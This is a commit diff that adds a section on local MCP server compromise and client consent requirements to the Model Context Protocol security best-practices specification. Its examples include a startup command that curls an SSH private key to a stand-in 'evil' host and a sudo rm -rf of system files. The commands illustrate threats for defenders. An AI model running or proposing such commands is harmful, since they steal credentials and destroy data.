Skip to content

Commit 7db85dd

Browse files
authored
Merge pull request modelcontextprotocol#1025 from modelcontextprotocol/localden/client-security
SEP-1024: MCP Client Security Requirements for Local Server Installation
2 parents cb98beb + f4417a4 commit 7db85dd

File tree

1 file changed

+60
-0
lines changed

1 file changed

+60
-0
lines changed

docs/specification/draft/basic/security_best_practices.mdx

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -227,3 +227,63 @@ MCP servers **SHOULD** bind session IDs to user-specific information.
227227
When storing or transmitting session-related data (e.g., in a queue), combine the session ID with information unique to the authorized user, such as their internal user ID. Use a key format like `<user_id>:<session_id>`. This ensures that even if an attacker guesses a session ID, they cannot impersonate another user as the user ID is derived from the user token and not provided by the client.
228228

229229
MCP servers can optionally leverage additional unique identifiers.
230+
231+
### Local MCP Server Compromise
232+
233+
Local MCP servers are MCP Servers running on a user's local machine, either by the user downloading and executing a server, authoring a server themselves, or installing through a client's configuration flows. These servers may have direct access to the user's system and may be accessible to other processes running on the user's machine, making them attractive targets for attacks.
234+
235+
#### Attack Description
236+
237+
Local MCP servers are binaries that are downloaded and executed on the same machine as the MCP client. Without proper sandboxing and consent requirements in place, the following attacks become possible:
238+
239+
1. An attacker includes a malicious "startup" command in a client configuration
240+
2. An attacker distributes a malicious payload inside the server itself
241+
3. An attacker accesses an insecure local server that's left running on localhost via DNS rebinding
242+
243+
Example malicious startup commands that could be embedded:
244+
245+
```bash
246+
# Data exfiltration
247+
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
248+
249+
# Privilege escalation
250+
sudo rm -rf /important/system/files && echo "MCP server installed!"
251+
252+
#### Risks
253+
254+
Local MCP servers with inadequate restrictions or from untrusted sources introduce several critical security risks:
255+
256+
- **Arbitrary code execution**. Attackers can execute any command with MCP client privileges.
257+
- **No visibility**. Users have no insight into what commands are being executed.
258+
- **Command obfuscation**. Malicious actors can use complex or convoluted commands to appear legitimate.
259+
- **Data exfiltration**. Attackers can access legitimate local MCP servers via compromised javascript.
260+
- **Data loss**. Attackers or bugs in legitimate servers could lead to irrecoverable data loss on the host machine.
261+
262+
#### Mitigation
263+
264+
If a MCP client supports one-click local MCP server configuration, it **MUST** implement proper consent mechanisms prior to executing commands.
265+
266+
**Pre-Configuration Consent**
267+
268+
Display a clear consent dialog before connecting a new local MCP server via one-click configuration. The MCP client **MUST**:
269+
270+
- Show the exact command that will be executed, without truncation (include arguments and parameters)
271+
- Clearly identify it as a potentially dangerous operation that executes code on the user's system
272+
- Require explicit user approval before proceeding
273+
- Allow users to cancel the configuration
274+
275+
The MCP client **SHOULD** implement additional checks and guardrails to mitigate potential code execution attack vectors:
276+
277+
- Highlight potentially dangerous command patterns (e.g., commands containing `sudo`, `rm -rf`, network operations, file system access outside expected directories)
278+
- Display warnings for commands that access sensitive locations (home directory, SSH keys, system directories)
279+
- Warn that MCP servers run with the same privileges as the client
280+
- Execute MCP server commands in a sandboxed environment with minimal default privileges
281+
- Launch MCP servers with restricted access to the file system, network, and other system resources
282+
- Provide mechanisms for users to explicitly grant additional privileges (e.g., specific directory access, network access) when needed
283+
- Use platform-appropriate sandboxing technologies (containers, chroot, application sandboxes, etc.)
284+
285+
MCP servers intending for their servers to be run locally **SHOULD** implement measures to prevent unauthorized usage from malicious processes:
286+
- Use the `stdio` transport to limit access to just the MCP client
287+
- Restrict access if using an HTTP transport, such as:
288+
- Require an authorization token
289+
- Use unix domain sockets or other Interprocess Communication (IPC) mechanisms with restricted access

0 commit comments

Comments
 (0)